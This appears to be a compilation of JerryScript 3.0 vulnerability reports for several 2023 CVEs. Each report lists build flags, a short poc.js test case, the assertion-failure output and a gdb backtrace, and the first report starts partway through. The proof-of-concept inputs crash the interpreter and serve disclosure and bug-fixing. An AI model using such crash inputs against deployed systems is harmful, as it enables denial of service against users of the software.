ICE: Assertion '!jcontext\_has\_pending\_exception ()' failed at /jerryscript/jerry-core/jcontext/jcontext.c(jcontext\_raise\_exception):88.
Error: JERRY\_FATAL\_FAILED\_ASSERTION
Aborted (core dumped)

**Backtrace**

    (gdb) #0  0xf7f40d99 in __kernel_vsyscall ()                                                                            
    #1  0xf7c15276 in raise () from /lib32/libc.so.6                                                                        
    #2  0xf7bfd3f7 in abort () from /lib32/libc.so.6                                                                        
    #3  0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                  
        at /jerryscript/jerry-port/common/jerry-port-process.c:29                              
    #4  0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                       
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:63                                         
    #5  0x08260d64 in jerry_assert_fail (                                                                                   
        assertion=0x8434bc0 <str> "!jcontext_has_pending_exception ()",                                                     
        file=0x8434b00 <str> "/jerryscript/jerry-core/jcontext/jcontext.c",                    
        function=0x8434c20 <__func__.jcontext_raise_exception> "jcontext_raise_exception", line=88)                         
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:83                                         
    #6  0x0825e7b0 in jcontext_raise_exception (error=4115661203)                                                           
        at /jerryscript/jerry-core/jcontext/jcontext.c:88    
    #7  0x081f52e5 in ecma_raise_standard_error (error_type=JERRY_ERROR_SYNTAX, [0/1762]
        msg=ECMA_ERR_INVALID_REGEXP_FLAGS)    at /jerryscript/jerry-core/ecma/operations/ecma-exceptions.c:315#8  0x081f5a91 in ecma_raise_syntax_error (msg=ECMA_ERR_INVALID_REGEXP_FLAGS)
        at /jerryscript/jerry-core/ecma/operations/ecma-exceptions.c:456
    #9  0x08234ac7 in ecma_regexp_parse_flags (flags_str_p=<optimized out>, 
        flags_p=<optimized out>)
        at /jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:115
    #10 0x0835e0d2 in ecma_builtin_regexp_prototype_match_all (
        regexp_obj_p=0xffcd35c0, string_arg=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:504
    #11 ecma_builtin_regexp_prototype_dispatch_routine (
        builtin_routine_id=<optimized out>, this_arg=<optimized out>, 
        arguments_list_p=<optimized out>, arguments_number=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:598
    #12 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=0xffcd3690, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #13 ecma_builtin_dispatch_call (obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=<optimized out>, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #14 0x081fb6b8 in ecma_op_function_call_native_built_in (
        func_obj_p=0xf55004c0, this_arg_value=4115662259, 
        arguments_list_p=0xffcd38d4, arguments_list_len=0)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #15 0x081fa81d in ecma_op_function_call (func_obj_p=0xf55004c0, 
        this_arg_value=4115662259, arguments_list_p=0xffcd38d4,  
        arguments_list_len=0)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #16 0x0833172e in ecma_builtin_function_prototype_object_call (
        func_obj_p=0xf55004c0, arguments_list_p=0xffcd38d0, 
        arguments_number=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-function-prototype.c:288
    #17 ecma_builtin_function_prototype_dispatch_routine (
        builtin_routine_id=<optimized out>, this_arg=<optimized out>, 
        arguments_list_p=<optimized out>, arguments_number=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-function-prototype.c:529
    #18 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=0xffcd38d0, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #19 ecma_builtin_dispatch_call (obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=<optimized out>, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #20 0x081fb6b8 in ecma_op_function_call_native_built_in (
        func_obj_p=0xf5500460, this_arg_value=4115662019, 
        arguments_list_p=0xffcd3af4, arguments_list_len=1)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #21 0x081fa81d in ecma_op_function_call (func_obj_p=0xf5500460, 
        this_arg_value=4115662019, arguments_list_p=0xffcd3af4,  
        arguments_list_len=1)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #22 0x081fa5cf in ecma_op_function_validated_call (callee=4115661923, 
        this_arg_value=4115662019, arguments_list_p=0xffcd3af4,  
        arguments_list_len=1)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1371
    #23 0x082d7631 in opfunc_call (frame_ctx_p=<optimized out>)
        at /jerryscript/jerry-core/vm/vm.c:758
    #24 vm_execute (frame_ctx_p=0xffcd3ac0)
        at /jerryscript/jerry-core/vm/vm.c:5217
    #25 0x082d4f62 in vm_run (shared_p=0xffcd3bb0, this_binding_value=4119870595, 
        lex_env_p=0xf57007b0)
        at /jerryscript/jerry-core/vm/vm.c:5312
    #26 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>,  
        function_object_p=<optimized out>)
        at /jerryscript/jerry-core/vm/vm.c:286
    #27 0x0812a4e5 in jerry_run (script=4115663075)
        at /jerryscript/jerry-core/api/jerryscript.c:548
    #28 0x083eac3f in jerryx_source_exec_script (path_p=0xffcd5235 "test.js")
        at /jerryscript/jerry-ext/util/sources.c:68
    #29 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
        at /jerryscript/jerry-main/main-desktop.c:156
    (gdb) quit                                
    

credits: @EJueon, @Ye0nny of the seclab-yonsei.

CVE-2023-31919: Assertion '!jcontext_has_pending_exception ()' failed at /jerryscript/jerry-core/jcontext/jcontext.c(jcontext_raise_exception):88. · Issue #5069 · jerryscript-project/jerryscript

Jerryscript 3.0 (commit 1a2c047) was discovered to contain an Assertion Failure via the parser_parse_function_arguments at jerry-core/parser/js/js-parser.c.

**JerryScript revision**

Commit: 1a2c047  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
class C { async#\* method ( 

**Execution steps & Output**

    $ ./jerryscript/build/bin/jerry poc.js
    ICE: Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at jerryscript/jerry-core/parser/js/js-parser.c(parser_parse_function_arguments):1587.
    Error: JERRY_FATAL_FAILED_ASSERTION
    Aborted
    

**Backtrace**

    #0  0xf7fcfd99 in __kernel_vsyscall ()
    #1  0xf7ca4276 in raise () from /lib32/libc.so.6
    #2  0xf7c8c3f7 in abort () from /lib32/libc.so.6
    #3  0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-port/common/jerry-port-process.c:29
    #4  0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-core/jrt/jrt-fatals.c:63
    #5  0x08260d64 in jerry_assert_fail (assertion=0x84433e0 <str> "context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION",
        file=0x8442ec0 <str> "jerryscript/jerry-core/parser/js/js-parser.c",
        function=0x8443440 <__func__.parser_parse_function_arguments> "parser_parse_function_arguments", line=1587)
        at jerryscript/jerry-core/jrt/jrt-fatals.c:83
    #6  0x0827592c in parser_parse_function_arguments (context_p=0xffffcd30, end_type=<optimized out>)
        at jerryscript/jerry-core/parser/js/js-parser.c:1587
    #7  0x0827240a in parser_parse_function (context_p=<optimized out>, status_flags=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser.c:2685
    #8  0x08399b84 in lexer_construct_function_object (context_p=0xffffcd30, extra_status_flags=34717702)
        at jerryscript/jerry-core/parser/js/js-lexer.c:2695
    #9  0x083a30d3 in parser_parse_class_body (context_p=<optimized out>, opts=<optimized out>, class_name_index=0)
        at jerryscript/jerry-core/parser/js/js-parser-expr.c:908
    #10 parser_parse_class (context_p=<optimized out>, is_statement=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser-expr.c:1110
    #11 0x083c9959 in parser_parse_statements (context_p=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser-statm.c:2787
    #12 0x08284a26 in parser_parse_source (source_p=0xffffd030, parse_opts=<optimized out>, options_p=0xffffd100)
        at jerryscript/jerry-core/parser/js/js-parser.c:2280
    #13 0x08282c70 in parser_parse_script (source_p=0xffffd030, parse_opts=0, options_p=0xffffd100) at jerryscript/jerry-core/parser/js/js-parser.c:3326
    #14 0x08129a7d in jerry_parse_common (source_p=0xffffd030, options_p=<optimized out>, parse_opts=0) at jerryscript/jerry-core/api/jerryscript.c:412
    #15 0x08129698 in jerry_parse (source_p=<optimized out>, source_size=<optimized out>, options_p=<optimized out>)
        at jerryscript/jerry-core/api/jerryscript.c:480
    #16 0x083ea952 in jerryx_source_parse_script (path_p=<optimized out>) at jerryscript/jerry-ext/util/sources.c:52
    #17 0x083eac12 in jerryx_source_exec_script (path_p=0xffffd5e0 "poc.js") at jerryscript/jerry-ext/util/sources.c:63
    #18 0x0812162d in main (argc=<optimized out>, argv=<optimized out>) at jerryscript/jerry-main/main-desktop.c:156
    

Credits:  
@Ye0nny, @EJueon of the seclab-yonsei.

CVE-2023-31918: Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at jerryscript/jerry-core/parser/js/js-parser.c(parser_parse_function_arguments) · Issue #5064 · jerryscript-project/je

Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the ecma_big_uint_div_mod at jerry-core/ecma/operations/ecma-big-uint.c.

**JerryScript revision**

Commit: 05dbbd1  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
var x \= BigInt ( 8 \*\* 16 + 1 ) ;  
x \*\* BigInt ( 4 ) / x; 

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'dividend\_end\_p\[0\] == divisor\_high && dividend\_end\_p\[-1\] < divisor\_high' failed at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c(ecma\_big\_uint\_div\_mod):1119.
Error: JERRY\_FATAL\_FAILED\_ASSERTION
Aborted

**Backtrace**

    (gdb) #0  0xf7efdd99 in __kernel_vsyscall ()                                                                                                                                                                                                                                                                         
    #1  0xf7bd2276 in raise () from /lib32/libc.so.6                                                                                                                                                                                                                                                                     
    #2  0xf7bba3f7 in abort () from /lib32/libc.so.6                                                                                                                                                                                                                                                                     
    #3  0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                                                                                                                                                                                                               
        at /jerryscript/jerry-port/common/jerry-port-process.c:29                                                                                                                                                                                                                           
    #4  0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                                                                                                                                                                                                                    
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:63                                                                                                                                                                                                                                      
    #5  0x08260d64 in jerry_assert_fail (                                                                                                                                                                                                                                                                                
        assertion=0x846e200 <str> "dividend_end_p[0] == divisor_high && dividend_end_p[-1] < divisor_high",                                                                                                                                                                                                              
        file=0x846d800 <str> "/jerryscript/jerry-core/ecma/operations/ecma-big-uint.c",                                                                                                                                                                                                     
        function=0x846e080 <__func__.ecma_big_uint_div_mod> "ecma_big_uint_div_mod", line=1119)                                                                                                                                                                                                                          
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:83                                                                                                                                                                                                                                      
    #6  0x08380b54 in ecma_big_uint_div_mod (dividend_value_p=0xf4203c40,                                                                                                                                                                                                                                                
        divisor_value_p=0xf5600630, is_mod=<optimized out>) 
        at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c:1119                                                                                                                                                                                                                     
    #7  0x081dfc96 in ecma_bigint_div_mod (left_value=4095753286, 
        right_value=4116710966, is_mod=<optimized out>)
        at /jerryscript/jerry-core/ecma/operations/ecma-bigint.c:1337                                                                                                                                                                                                                       
    #8  0x082be8b9 in do_number_arithmetic (op=<optimized out>, 
        left_value=<optimized out>, right_value=<optimized out>)
        at /jerryscript/jerry-core/vm/opcodes-ecma-arithmetics.c:148                                                                                                                                                                                                                        
    #9  0x082dd6f0 in vm_loop (frame_ctx_p=0xffdc12c0)
        at /jerryscript/jerry-core/vm/vm.c:3563
    #10 0x082d6b83 in vm_execute (frame_ctx_p=0xffdc12c0)
        at /jerryscript/jerry-core/vm/vm.c:5211
    #11 0x082d4f62 in vm_run (shared_p=0xffdc13d0, this_binding_value=4118822019,                                                                                                                                                                                                                                        
        lex_env_p=0xf56007b0)                                                    
        at /jerryscript/jerry-core/vm/vm.c:5312
    #12 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>, 
        function_object_p=<optimized out>)
        at /jerryscript/jerry-core/vm/vm.c:286
    #13 0x0812a4e5 in jerry_run (script=4114614595)
        at /jerryscript/jerry-core/api/jerryscript.c:548                                                                                                                                                                                                                                    
    #14 0x083eac3f in jerryx_source_exec_script (
        path_p=0xffdc21e7 "poc.js")                                                                                                                                                                                                                              
        at /jerryscript/jerry-ext/util/sources.c:68
    #15 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
        at /jerryscript/jerry-main/main-desktop.c:156                                                                                                                                                                                                                                       
    (gdb) quit                                                                   
    

credits: @EJueon, @Ye0nny of the seclab-yonsei.

CVE-2023-31921: Assertion 'dividend_end_p[0] == divisor_high && dividend_end_p[-1] < divisor_high' failed at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c(ecma_big_uint_div_mod) · Issue #5068 · jerryscript-

Jerryscript 3.0 *commit 1a2c047) was discovered to contain an Assertion Failure via the component parser_parse_class at jerry-core/parser/js/js-parser-expr.c.

**JerryScript revision**

Commit: 1a2c047  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
class v0 { v1 \= class v2 {  } }

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context\_p->scope\_stack\_size == PARSER\_MAXIMUM\_DEPTH\_OF\_SCOPE\_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser\_parse\_class):1068.
Error: JERRY\_FATAL\_FAILED\_ASSERTION
Aborted

Credits:  
@Ye0nny, @EJueon of the seclab-yonsei.

CVE-2023-31913: Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068. · Issue #5061 · jerryscript-project

Tag

#linux